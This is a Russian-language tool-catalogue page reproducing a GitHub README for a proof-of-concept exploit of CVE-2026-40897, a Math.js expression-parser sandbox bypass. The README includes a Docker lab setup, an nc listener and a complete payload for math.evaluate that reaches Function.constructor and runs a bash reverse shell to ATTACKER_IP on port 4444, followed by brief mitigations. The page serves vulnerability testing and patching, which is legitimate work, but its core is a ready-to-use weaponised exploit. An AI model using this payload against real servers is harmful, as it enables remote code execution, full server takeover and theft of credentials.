Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40897 — Эксплойт proof-of-concept для CVE-2026-40897 — обход песочницы парсера выражений Math.js, позволяющий удалённое выполнение кода через специально сформированные полезные нагрузки, а также лабораторная среда Docker. | Kitploit
Инструменты/GitHubGitHub/yym8538/cve-2026-40897
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВиртуализация для безопасностиИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubyym8538/cve-2026-40897

CVE-2026-40897

Эксплойт proof-of-concept для CVE-2026-40897 — обход песочницы парсера выражений Math.js, позволяющий удалённое выполнение кода через специально сформированные полезные нагрузки, а также лабораторная среда Docker.

Репозиторий
11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-40897 Удалённое выполнение кода в парсере выражений Math.js

★ CVE-2026-40897 Удалённое выполнение кода в Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Обзор

CVE-2026-40897 — это уязвимость обхода песочницы, приводящая к удалённому выполнению кода, в парсере выражений Math.js. Фильтр isSafeProperty проверяет доступ к свойствам только из пользовательских выражений, но не из внутренних путей кода. Утечка внутреннего массива ArrayNode через toJSON() и перезапись его .map позволяют злоумышленнику заставить внутренний код обратиться к Function.constructor и выполнить произвольный JavaScript.


Уязвимые версии

КатегорияВерсия
УязвимыеMath.js 13.1.1 ≤ версия ≤ 15.1.1
Исправленные15.2.0

Воздействие

  • Выполнение произвольного JavaScript-кода (RCE)
  • Доступ к файловой системе хоста
  • Обратное подключение оболочки, приводящее к полной компрометации сервера
  • Утечка учётных данных бэкенда и конфиденциальных данных

Окружение

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

После запуска уязвимого окружения выполните приведённые ниже шаги для воспроизведения атаки.

Шаг 1. Запустите слушатель для обратной оболочки

nc -lvnp 4444

Шаг 2. Отправьте вредоносную полезную нагрузку

Отправьте следующее выражение в math.evaluate (например, через поле ввода вычислений в приложении).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Шаг 3. Подтвердите доступ к оболочке на стороне атакующего

Целевой сервер подключается обратно к слушателю атакующего, предоставляя интерактивную оболочку bash.


Меры защиты

  • Обновите Math.js до исправленной версии
  • Избегайте передачи недоверенного пользовательского ввода напрямую в math.evaluate()
  • Ограничьте доступ к внутренним функциям/классам (reviver, FunctionAssignmentNode, ArrayNode) через парсер выражений

Анализ

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
Скачать инструмент